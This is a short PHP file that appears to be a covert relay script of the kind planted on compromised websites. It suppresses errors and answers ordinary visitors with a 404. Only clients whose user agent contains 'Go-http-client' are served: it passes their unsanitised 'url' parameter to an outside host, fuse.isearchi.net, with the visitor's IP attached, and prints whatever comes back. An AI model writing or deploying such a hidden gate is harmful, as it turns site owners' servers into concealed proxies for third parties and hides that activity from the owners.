<?php
if (empty($_GET['dd'])) {
    error_reporting(0);
    ini_set('display_errors', 'Off');
} else {
    error_reporting(E_ALL);
    ini_set('display_errors', 'On');
    var_dump($_SERVER['HTTP_USER_AGENT']);
}

if (empty($_GET['dd']) && !empty($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'Go-http-client') === false) {
    http_response_code(404);
    die;
}
$realIp = $_SERVER['REMOTE_ADDR'];
$headers = [
    "X-Forwarded-For: {$realIp}",
];
$context = stream_context_create([
    'http' => [
        'method'  => 'GET',
        'header'  => implode("\r\n", $headers),
        'timeout' => 3,
    ],
]);
if(!empty($_GET['url'])){
        echo file_get_contents("https://fuse.isearchi.net/func/index.php?url=".$_GET['url'],false, $context);
}